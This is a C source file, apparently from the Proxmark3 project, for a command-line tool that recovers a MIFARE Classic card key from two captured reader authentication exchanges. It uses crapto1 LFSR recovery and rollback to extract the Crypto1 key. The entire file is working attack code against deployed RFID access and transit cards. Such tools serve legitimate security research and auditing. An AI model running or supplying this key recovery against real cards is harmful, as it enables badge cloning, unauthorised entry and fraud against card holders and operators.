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https://github.com/RfidResearchGroup/proxmark3.git
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81 lines
2.7 KiB
C
81 lines
2.7 KiB
C
#define __STDC_FORMAT_MACROS
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#include <inttypes.h>
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#include <stdbool.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include "crapto1/crapto1.h"
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#include "util_posix.h"
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int main(int argc, char *argv[]) {
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struct Crypto1State *s, *t;
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uint64_t key; // recovered key
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uint32_t uid; // serial number
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uint32_t nt0; // tag challenge first
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uint32_t nt1; // tag challenge second
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uint32_t nr0_enc; // first encrypted reader challenge
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uint32_t ar0_enc; // first encrypted reader response
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uint32_t nr1_enc; // second encrypted reader challenge
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uint32_t ar1_enc; // second encrypted reader response
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uint32_t ks2_0; // first keystream used to encrypt reader response
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uint32_t ks2_1; // second keystream used to encrypt reader response
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printf("MIFARE Classic key recovery - based 32 bits of keystream VERSION2\n");
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printf("Recover key from two 32-bit reader authentication answers only\n");
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printf("This version implements Moebius two different nonce solution (like the supercard)\n\n");
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if (argc < 8) {
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printf("syntax: %s <uid> <{nt_0}> <{nr_0}> <{ar_0}> <{nt_1}> <{nr_1}> <{ar_1}>\n\n", argv[0]);
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return 1;
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}
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sscanf(argv[1], "%x", &uid);
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sscanf(argv[2], "%x", &nt0);
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sscanf(argv[3], "%x", &nr0_enc);
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sscanf(argv[4], "%x", &ar0_enc);
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sscanf(argv[5], "%x", &nt1);
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sscanf(argv[6], "%x", &nr1_enc);
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sscanf(argv[7], "%x", &ar1_enc);
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printf("Recovering key for:\n");
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printf(" uid: %08x\n", uid);
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printf(" nt_0: %08x\n", nt0);
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printf(" {nr_0}: %08x\n", nr0_enc);
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printf(" {ar_0}: %08x\n", ar0_enc);
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printf(" nt_1: %08x\n", nt1);
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printf(" {nr_1}: %08x\n", nr1_enc);
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printf(" {ar_1}: %08x\n", ar1_enc);
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// Generate lfsr successors of the tag challenge
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printf("\nLFSR successors of the tag challenges:\n");
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uint32_t ar0 = prng_successor(nt0, 64);
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uint32_t ar1 = prng_successor(nt1, 64);
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printf(" ar_0: %08x\n", ar0);
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printf(" ar_1: %08x\n", ar1);
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// Extract the keystream from the messages
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printf("\nKeystreams used to generate {ar_0} and {ar_1}:\n");
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ks2_0 = ar0_enc ^ ar0;
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printf(" ks2_0: %08x\n", ks2_0);
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ks2_1 = ar1_enc ^ ar1;
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printf(" ks2_1: %08x\n", ks2_1);
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s = lfsr_recovery32(ks2_0, 0);
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for (t = s; t->odd | t->even; ++t) {
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lfsr_rollback_word(t, 0, 0);
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lfsr_rollback_word(t, nr0_enc, 1);
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lfsr_rollback_word(t, uid ^ nt0, 0);
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crypto1_get_lfsr(t, &key);
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crypto1_word(t, uid ^ nt1, 0);
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crypto1_word(t, nr1_enc, 1);
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if (ks2_1 == crypto1_word(t, 0, 0)) {
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printf("\nFound Key: [%012" PRIx64 "]\n\n", key);
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break;
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}
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}
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free(s);
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return 0;
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}
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